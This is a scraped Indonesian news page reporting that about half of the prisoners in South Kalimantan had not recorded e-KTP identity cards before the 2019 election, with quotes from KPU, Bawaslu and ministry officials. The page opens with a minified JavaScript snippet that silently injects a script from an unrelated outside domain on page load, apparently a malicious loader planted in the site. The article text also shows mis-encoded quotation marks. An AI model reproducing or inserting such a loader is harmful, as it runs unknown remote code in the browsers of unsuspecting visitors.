(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Proses perekaman e-KTP di Lembaga Pemasyarakatan (Lapas) dan Rumah Tahanan Negara (Rutan) se- Kalsel dari 17-19 Januari 2019, tercatat 4.363 Warga Binaan Pemasyarakatan (WBP) yang rekam e-KTP dari 8881 total WBP se-Kalsel.
Tersisa 4.444 orang WBP belum melakukan perekaman. Dikhawatirkan WBP se-Kalsel yang tak rekam e-KTP tidak bisa ikut memilih, dikarenakan bukan penduduk setempat dan tidak memiliki dokumen kependudukan. Sehingga dalam penyusunan Daftar Pemilih Tambahan (DPTb) atau Daftar Pemilih Khusus (DPK) belum bisa dikeluarkan Komisi Pemilihan Umum (KPU) masing-masing daerah.
Adapun WBP yang telah memperoleh Daftar Pemilih Tetap (DPT) tercatat baru 4055 orang. Untuk itu KPU Provinsi Kalimantan Selatan menggelar rapat koordinasi dalam rangka evaluasi hasil perekaman e-KTP, Kamis (7/2).
“Kurang lebih 50% WBP dikhawatirkan tidak bisa ikut memilih, karena indentitas atau status kependudukannya tidak jelas. Kemenkumham Kalsel siap mencari solusi untuk mendukung dan menyukseskan Pemilu 2019,†ungkap Kusbiyantoro, Kabid Bimpasnakinfokom dari Kemenkumham Kalsel.
Ia menambahkan, dengan bisa terkamodir WBP tersebut untuk memperoleh hak pilih, diharapkan ada kebijakan dari KPU dan Disdukcapil untuk mengindentifikasi WBP yang belum bisa melakukan perekaman. “Kita siap bekerjasama agar mereka (WBP) mempunyai hak suara tentunya, seusai dengan peraturan yang berlaku,†pungkasnya.
Sementara itu, Komisioner Bawaslu Kalsel, Iwan Setiawan mengatakan, seluruh rakyat Indonesia yang sudah berusia 17 tahun mempunyai hak untuk memilih dan meupakan hak asasi manusia tanpa terkecuali. Termasuk juga para WBP yang tentunya jangan sampai hak suara mereka hilang karena masalah administratif. “Bila mengacu pada undang-undang yang menjadi persyaratan yaitu memiliki e-KTP atau Surat Keterangan (Suket), tapi kenyataan di lapangan masih ditemukan kendala baik dalam proses perekaman maupun kendala lainnya,†bebernya.
Sementara itu, Ketua KPU Provinsi Kalsel Sarmuji menyebutkan, permasalahan ada pada database untuk mengindentifikasi status WBP. “Kita menunggu hasil dari Rakor yang diikuti perwakilan Disdukcapil se-Indonesia, apakah hasilnya menyinggung atau membahas pemasalahan ini, karena ini mungkin juga terjadi di seluruh daerah di Indonesia,†ujarnya. (mario)
KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More
This website uses cookies.